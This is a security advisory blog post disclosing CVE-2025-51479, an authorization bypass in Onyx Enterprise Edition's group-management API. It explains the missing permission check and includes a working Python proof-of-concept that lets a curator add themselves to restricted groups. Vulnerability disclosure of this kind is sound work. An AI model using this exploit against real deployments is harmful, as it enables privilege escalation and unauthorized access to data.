Skip to content
CVE-2025-51479: ONYX Authorization Bypass in Enterprise Edition Group Management API

CVE-2025-51479: ONYX Authorization Bypass in Enterprise Edition Group Management API

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read

Key takeaways

  • An authorization bypass was found in the Onyx Enterprise Edition’s group management functionality.
  • The following steps demonstrate how a Curator can exploit this vulnerability to modify groups they shouldn’t have access to:
  • Curators can add themselves to admin-only groups

Table of contents

Description#

An authorization bypass was found in the Onyx Enterprise Edition’s group management functionality. The application intends for Curators to only administer users within groups they are specifically assigned to but a flaw in the API implementation allows unauthorized manipulation of any group within the system. The backend API fails to validate whether a curator has permission to modify a specific group. The vulnerability specifically affects the PATCH endpoint for user group management.

The root cause is in the update_user_group function in backend/ee/onyx/db/user_group.py. This function receives a user group ID and update data but never verifies if the authenticated curator has permission to modify that particular group:

<code class="hljs language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">update_user_group</span>(<span class="hljs-params">
    db_session: Session,
    user: User | <span class="hljs-literal">None</span>,  <span class="hljs-comment"># this parameter exists but isn't used for permission checking</span>
    user_group_id: <span class="hljs-built_in">int</span>,
    user_group_update: UserGroupUpdate,
</span>) -> UserGroup:
    <span class="hljs-comment"># retrieves the user group without checking if the current user has permission to modify it</span>
    stmt = select(UserGroup).where(UserGroup.<span class="hljs-built_in">id</span> == user_group_id)
    db_user_group = db_session.scalar(stmt)
</code>

The codebase properly implements permission checks for similar operations, as evidenced by functions like _validate_curator_relationship_update_requester() and error messages such as “Curators cannot control groups they don’t curate.” This inconsistency suggests the missing check is an oversight rather than an intended design.

PoC#

The following steps demonstrate how a Curator can exploit this vulnerability to modify groups they shouldn’t have access to:

  1. Set up Onyx with Enterprise Edition features enabled:
<code class="hljs language-bash"><span class="hljs-built_in">export</span> ENABLE_PAID_ENTERPRISE_EDITION_FEATURES=<span class="hljs-literal">true</span>
<span class="hljs-built_in">export</span> AUTH_TYPE=basic
</code>
  1. Create an admin user (automatically created as the first user)
  2. Create a second user with Basic permissions
  3. Create two groups: “RESTRICTED_GROUP” and “PERMITTED_GROUP”
  4. Add the admin to “RESTRICTED_GROUP”
  5. Add the basic user to “PERMITTED_GROUP” and make them a Curator for this group only
  6. Use this Python script to exploit the vulnerability:
<code class="hljs language-python"><span class="hljs-keyword">import</span> requests

BASE_URL = <span class="hljs-string">"http://localhost"</span>  
AUTH_COOKIE_NAME = <span class="hljs-string">"fastapiusersauth"</span>
TARGET_GROUP_ID = <span class="hljs-number">1</span>  <span class="hljs-comment"># ID of the RESTRICTED_GROUP</span>

<span class="hljs-keyword">def</span> <span class="hljs-title function_">exploit_group_modification</span>(<span class="hljs-params">auth_token</span>):
    user_response = requests.get(
        <span class="hljs-string">f"<span class="hljs-subst">{BASE_URL}</span>/api/me"</span>,
        headers={<span class="hljs-string">"Cookie"</span>: <span class="hljs-string">f"<span class="hljs-subst">{AUTH_COOKIE_NAME}</span>=<span class="hljs-subst">{auth_token}</span>"</span>}
    )
    
    <span class="hljs-keyword">if</span> user_response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
        
    curator_id = user_response.json()[<span class="hljs-string">"id"</span>]
    
    modify_response = requests.patch(
        <span class="hljs-string">f"<span class="hljs-subst">{BASE_URL}</span>/api/manage/admin/user-group/<span class="hljs-subst">{TARGET_GROUP_ID}</span>"</span>,
        json={
            <span class="hljs-string">"user_ids"</span>: [curator_id],  
            <span class="hljs-string">"cc_pair_ids"</span>: [] 
        },
        headers={<span class="hljs-string">"Cookie"</span>: <span class="hljs-string">f"<span class="hljs-subst">{AUTH_COOKIE_NAME}</span>=<span class="hljs-subst">{auth_token}</span>"</span>}
    )
    
    <span class="hljs-keyword">if</span> modify_response.status_code == <span class="hljs-number">200</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>
    <span class="hljs-keyword">else</span>:
        <span class="hljs-built_in">print</span>(modify_response.text)
        <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    curator_token = <span class="hljs-built_in">input</span>(<span class="hljs-string">"Enter curator's authentication token: "</span>)
    exploit_group_modification(curator_token)
</code>
  1. After running the script with the curator’s authentication token, refresh the admin panel to observe that:
    • The admin has been removed from RESTRICTED_GROUP
    • The curator has been added to RESTRICTED_GROUP
    • This occurred despite the curator only having permission for PERMITTED_GROUP

This confirms that the curator can modify any group, violating the intended access control model.

Impact#

  • Curators can add themselves to admin-only groups
  • This provides access to sensitive data and functionality not intended for their role
  • Effectively bypasses the role-based access control system
Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.